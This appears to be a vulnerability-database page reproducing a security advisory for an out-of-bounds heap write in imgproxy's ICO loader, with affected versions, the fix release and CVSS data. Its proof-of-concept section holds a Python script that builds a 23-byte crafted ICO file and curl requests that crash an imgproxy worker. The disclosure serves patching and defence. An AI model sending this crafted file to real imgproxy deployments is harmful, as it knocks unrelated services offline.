GHSA-494M-4556-WF5P
Vulnerability from github – Published: 2026-10-30 22:56 – Updated: 2026-10-30 22:56Summary
Out-of-bounds heap write in imgproxy's ICO loader (vips/icoload.c): when the ICO entry's image data buffer is small, the loader's BMP-header-reconstruction writes land past the allocation, corrupting the size field of the following heap chunk. The worker then aborts deterministically (glibc munmap_chunk(): invalid pointer → SIGABRT → Go panic, exit code 2).
Details
In vips_foreign_load_ico_header in vips/icoload.c, after the ICO entry's image data is read into a heap buffer of data_size + 14 bytes, the loader reconstructs a BMP file header in front of it using fields read from the ICO's internal BITMAPINFOHEADER:
uint32_t num_colors = GUINT32_FROM_LE(*(uint32_t *) (actual_data + 32)); // unvalidated
uint16_t bpp = GUINT16_FROM_LE(*(uint16_t *) (actual_data + 14)); // unvalidated
if ((num_colors == 0) && (bpp <= 8))
pix_offset = BMP_FILE_HEADER_LEN + BMP_BITMAP_INFO_HEADER_LEN + 4 * (1 << bpp);
else
pix_offset = BMP_FILE_HEADER_LEN + BMP_BITMAP_INFO_HEADER_LEN + 4 * num_colors;
int32_t height = GINT32_FROM_LE(*(int32_t *) (actual_data + 8)); // readable past the buffer
height = height / 2;
With a crafted entry declaring a tiny data_size (e.g. 1 byte), all of these reads (offsets +8, +14, +32) go past the allocation, and the reconstructed-header writes land past the end of the buffer — specifically a 32-bit height/2-derived value at alloc+22..+25, overwriting the LSBs of the size field of the physically following heap chunk. The corrupted size is always original_size >> 1 and, in cgo thread arenas, the NON_MAIN_ARENA bit lands in the IS_MMAPPED position of the corrupted word such that the next free() of the victim deterministically takes glibc's munmap_chunk() abort path, killing the worker. Depending on heap state, the worker returns 500 for the triggering request and aborts on the corrupted chunk's free; in observed production geometry it dies on the same request (exit code 2).
PoC
# make_ico_oob.py — generates the exact 23-byte OOB-write trigger.
# Byte-identical to the checksummed, production-verified file:
# ico-oob.ico sha256 075f3b5e97242573d32a1b7612672a438b3b24c8fa718e3967305bd65e6151e1
import struct, hashlib
hdr = struct.pack('<HHH', 0, 1, 1) # reserved, type=ICO, count=1
# 16x16, 0 colors, 0 reserved, 1 plane, 32 bpp, data_size=1, data_offset=0x16.
# The tiny data_size (1) makes the loader's BMPINFOHEADER field reads
# (data+8/+14/+32) and header-reconstruction writes go past the 1+14=15-byte
# allocation.
entry = struct.pack('<BBBBHHII', 16, 16, 0, 0, 1, 32, 1, 0x16)
data = b'\xAA' # the single declared image byte
blob = hdr + entry + data
assert hashlib.sha256(blob).hexdigest() == \
'075f3b5e97242573d32a1b7612672a438b3b24c8fa718e3967305bd65e6151e1'
open('ico-oob.ico', 'wb').write(blob)
print(f"ico-oob.ico: {len(blob)} bytes [VERIFIED]")
# imgproxy v4.0.15 with local file sources enabled:
# IMGPROXY_ENABLE_LOCAL_FILES=true IMGPROXY_LOCAL_FILESYSTEM_ROOT=/ imgproxy
curl "http://127.0.0.1:8080/insecure/plain/local:///path/to/ico-oob.ico@png"
# → request fails at transport level (connection reset / empty reply) or
# HTTP 500; worker dies: munmap_chunk(): invalid pointer → SIGABRT →
# Go panic dump → exit code 2. One request, one dead worker.
curl "http://127.0.0.1:8080/insecure/plain/local:///path/to/normal.ico@png"
# → HTTP 200, valid thumbnail (control)
Impact
Out-of-bounds write; demonstrated impact is denial of service (worker crash per crafted request). Any imgproxy deployment from the 3.3.x ICO-support series through v4.0.15 (latest at time of report) that processes attacker-supplied images.
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/imgproxy/imgproxy/v3"
},
"ranges": [
{
"events": [
{
"introduced": "3.3.0"
},
{
"fixed": "4.0.17"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-125",
"CWE-787"
],
"github_reviewed": true,
"github_reviewed_at": "2026-10-30T22:56:14Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "### Summary\n\nOut-of-bounds heap write in imgproxy\u0027s ICO loader (`vips/icoload.c`): when the ICO entry\u0027s image data buffer is small, the loader\u0027s BMP-header-reconstruction writes land past the allocation, corrupting the size field of the following heap chunk. The worker then aborts deterministically (glibc `munmap_chunk(): invalid pointer` \u2192 SIGABRT \u2192 Go panic, exit code 2). \n\n### Details\n\nIn `vips_foreign_load_ico_header` in `vips/icoload.c`, after the ICO entry\u0027s image data is read into a heap buffer of `data_size + 14` bytes, the loader reconstructs a BMP file header in front of it using fields read from the ICO\u0027s internal BITMAPINFOHEADER:\n\n```\nuint32_t num_colors = GUINT32_FROM_LE(*(uint32_t *) (actual_data + 32)); // unvalidated\nuint16_t bpp = GUINT16_FROM_LE(*(uint16_t *) (actual_data + 14)); // unvalidated\n```\n\n```\nif ((num_colors == 0) \u0026\u0026 (bpp \u003c= 8))\n pix_offset = BMP_FILE_HEADER_LEN + BMP_BITMAP_INFO_HEADER_LEN + 4 * (1 \u003c\u003c bpp);\nelse\n pix_offset = BMP_FILE_HEADER_LEN + BMP_BITMAP_INFO_HEADER_LEN + 4 * num_colors;\n```\n\n```\nint32_t height = GINT32_FROM_LE(*(int32_t *) (actual_data + 8)); // readable past the buffer\nheight = height / 2;\n```\n\nWith a crafted entry declaring a tiny `data_size` (e.g. 1 byte), all of these reads (offsets +8, +14, +32) go past the allocation, and the reconstructed-header writes land past the end of the buffer \u2014 specifically a 32-bit `height/2`-derived value at `alloc+22..+25`, overwriting the LSBs of the size field of the physically following heap chunk. The corrupted size is always `original_size \u003e\u003e 1` and, in cgo thread arenas, the `NON_MAIN_ARENA` bit lands in the `IS_MMAPPED` position of the corrupted word such that the next `free()` of the victim deterministically takes glibc\u0027s `munmap_chunk()` abort path, killing the worker. Depending on heap state, the worker returns 500 for the triggering request and aborts on the corrupted chunk\u0027s free; in observed production geometry it dies on the same request (exit code 2).\n\n\n### PoC\n\n```py\n# make_ico_oob.py \u2014 generates the exact 23-byte OOB-write trigger.\n# Byte-identical to the checksummed, production-verified file:\n# ico-oob.ico sha256 075f3b5e97242573d32a1b7612672a438b3b24c8fa718e3967305bd65e6151e1\nimport struct, hashlib\n\nhdr = struct.pack(\u0027\u003cHHH\u0027, 0, 1, 1) # reserved, type=ICO, count=1\n# 16x16, 0 colors, 0 reserved, 1 plane, 32 bpp, data_size=1, data_offset=0x16.\n# The tiny data_size (1) makes the loader\u0027s BMPINFOHEADER field reads\n# (data+8/+14/+32) and header-reconstruction writes go past the 1+14=15-byte\n# allocation.\nentry = struct.pack(\u0027\u003cBBBBHHII\u0027, 16, 16, 0, 0, 1, 32, 1, 0x16)\ndata = b\u0027\\xAA\u0027 # the single declared image byte\nblob = hdr + entry + data\nassert hashlib.sha256(blob).hexdigest() == \\\n \u0027075f3b5e97242573d32a1b7612672a438b3b24c8fa718e3967305bd65e6151e1\u0027\nopen(\u0027ico-oob.ico\u0027, \u0027wb\u0027).write(blob)\nprint(f\"ico-oob.ico: {len(blob)} bytes [VERIFIED]\")\n```\n\n```\n# imgproxy v4.0.15 with local file sources enabled:\n# IMGPROXY_ENABLE_LOCAL_FILES=true IMGPROXY_LOCAL_FILESYSTEM_ROOT=/ imgproxy\ncurl \"http://127.0.0.1:8080/insecure/plain/local:///path/to/ico-oob.ico@png\"\n# \u2192 request fails at transport level (connection reset / empty reply) or\n# HTTP 500; worker dies: munmap_chunk(): invalid pointer \u2192 SIGABRT \u2192\n# Go panic dump \u2192 exit code 2. One request, one dead worker.\n\ncurl \"http://127.0.0.1:8080/insecure/plain/local:///path/to/normal.ico@png\"\n# \u2192 HTTP 200, valid thumbnail (control)\n```\n\n### Impact\n\nOut-of-bounds write; demonstrated impact is denial of service (worker crash per crafted request). Any imgproxy deployment from the 3.3.x ICO-support series through v4.0.15 (latest at time of report) that processes attacker-supplied images.",
"id": "GHSA-494m-4556-wf5p",
"modified": "2026-10-30T22:56:14Z",
"published": "2026-10-30T22:56:14Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/imgproxy/imgproxy/security/advisories/GHSA-494m-4556-wf5p"
},
{
"type": "WEB",
"url": "https://github.com/imgproxy/imgproxy/pull/1726"
},
{
"type": "WEB",
"url": "https://github.com/imgproxy/imgproxy/commit/39fd9e844a8a46084161502e993d5a3c16ccf28d"
},
{
"type": "PACKAGE",
"url": "https://github.com/imgproxy/imgproxy"
},
{
"type": "WEB",
"url": "https://github.com/imgproxy/imgproxy/releases/tag/v4.0.17"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "imgproxy has out-of-bounds heap read/write in ICO loader BMP header reconstruction that allows unauthenticated remote worker crash"
}
Drag nodes to arrange them. Double-click a related vulnerability to open it, or a source to visit its link. The Physics button on the left tunes the layout and the simulation; the legend at the bottom left hides or shows nodes by kind and by sighting type.
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
Vulnerability timeline
Sightings and recorded dates, grouped by day · UTC
How durations are calculated
Following the VTEM framework (Black Hat USA 2015), time to patch starts when the vendor or a coordinator was informed, total time to patch at discovery, and disclosure to patch at public disclosure; vendor response time runs from the report to its acknowledgement. Time to exploit and time unpatched start at the earliest discovery or report, falling back to public disclosure. Unpatched time ends at the first recorded patch, or the calculation time when no patch is recorded. Exploitation to patch shows the interval between those two events; a published proof of concept is a public exploit, not exploitation.
Each result shows its source dates. A negative interval means the end event came first; when date-only inputs leave the order open, the result says so. Date-only inputs are approximate. The earliest evidence wins: KEV report dates and sightings are labelled as such. Records describing another vulnerability are listed but never calculated from, and a PoC alone does not establish exploitation. Missing patch evidence does not prove that no patch exists. Filters below change the event list only.
Loading timeline…
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.
Related by attack behaviour
Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.